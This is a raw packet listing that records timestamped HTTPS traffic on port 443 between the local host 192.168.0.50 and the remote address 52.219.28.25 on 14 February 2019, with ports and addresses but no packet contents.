Feb 14, 2019 12:59:38.092988968 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.093391895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.093564987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.093961000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.093967915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.093991041 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.189917088 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.190016985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.191658974 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.191683054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.246979952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247041941 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247160912 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247260094 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247404099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247555971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247677088 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.247796059 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249027014 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249031067 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249032974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249084949 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249202967 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249564886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249567986 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249569893 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249666929 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.249972105 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.249993086 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.250000000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.250005007 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.250010014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.250623941 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.250678062 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.250682116 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.250683069 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.250684977 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.250685930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251255989 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251257896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251260042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251260996 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251262903 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.251538038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251552105 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251558065 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251563072 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251568079 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251574039 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.251579046 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.252384901 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.252387047 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.252388000 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.252389908 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.252392054 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253221035 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.253236055 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.253407001 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253411055 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253412008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253412962 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253415108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253416061 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.253899097 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.254312992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.254322052 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.254328012 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.254333019 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.254440069 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.254549026 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.254550934 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.254551888 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.254554033 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255140066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255141973 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255143881 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255145073 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255146027 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.255414963 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.255428076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.255434036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.255439997 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.256016970 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.256025076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.256031036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.256036043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.256707907 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257108927 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257117987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257123947 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257128954 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257723093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257735014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257740021 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257745028 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.257765055 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.350497007 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.350549936 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.350697994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.350814104 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.352622986 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.352641106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.352750063 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.511866093 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.511970997 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512120008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512151957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512567043 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512598991 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512629986 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.512655973 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.513693094 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514167070 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514178038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514183998 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514775038 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514782906 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514789104 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.514794111 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.672578096 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673161030 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673269033 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673387051 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673712015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673829079 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.673948050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.674067020 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.674794912 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675307035 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675328970 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675337076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675371885 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675865889 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675873995 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675879955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.675884962 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.676386118 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.833826065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.833858013 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.834621906 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.834680080 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.834829092 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835050106 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835088015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835196972 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835273981 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835392952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.835915089 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.835939884 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.836452007 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.836460114 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.836467981 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837016106 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837023973 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837028980 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837033987 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837186098 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.837522030 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.995134115 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995170116 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995275974 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995340109 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995443106 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995567083 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.995697021 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996099949 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996133089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996166945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996197939 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996301889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996681929 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996790886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996792078 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996793985 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.996889114 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.997256994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.997349977 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:38.997677088 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997709036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997715950 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997720957 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997725964 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997731924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997736931 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997746944 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.997752905 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.998799086 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.998816967 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.998823881 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.998831034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.998836994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999098063 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999766111 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999778032 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999783039 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999789000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999794006 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999799967 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999804974 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:38.999819994 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.156547070 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.156728029 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.156761885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.156941891 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.156972885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157047033 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157172918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157303095 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157427073 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157619953 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157646894 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.157921076 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.158552885 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.158557892 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.158559084 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.158560991 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.158562899 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159127951 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159130096 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159131050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159132957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159452915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159478903 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159485102 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159491062 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159496069 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159499884 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159504890 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159509897 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159513950 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.159708023 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159709930 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.159712076 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160026073 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.160034895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.160041094 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.160161018 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.160254002 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160255909 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160258055 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160259008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160260916 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160821915 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.160824060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.161111116 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161122084 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161128044 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161133051 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161138058 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161143064 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161149979 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161155939 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161159992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161164999 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161662102 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161669970 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161675930 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.161796093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162821054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162836075 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162842035 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162847042 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162852049 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.162857056 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.163352013 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.163362026 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.318300962 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318331957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318464994 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318691015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318733931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318758965 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.318877935 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319011927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319163084 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319226027 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319375992 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319461107 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319807053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.319811106 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320277929 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.320306063 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.320312977 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.320458889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320461988 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320463896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320465088 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320466995 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320889950 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.320946932 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.320950031 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.321032047 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.321033955 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.321379900 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321389914 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321396112 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321400881 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321405888 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321410894 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321415901 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321420908 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321425915 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321430922 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321435928 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321573019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.321576118 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.321903944 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321913958 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.321919918 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322149038 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322150946 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322151899 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322153091 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322154999 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322685957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322688103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322689056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322690964 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:39.322962046 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322974920 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322981119 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322985888 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322990894 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.322997093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.323002100 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:39.323007107 MEZ	49289	443	192.168.0.50	52.219.28.25
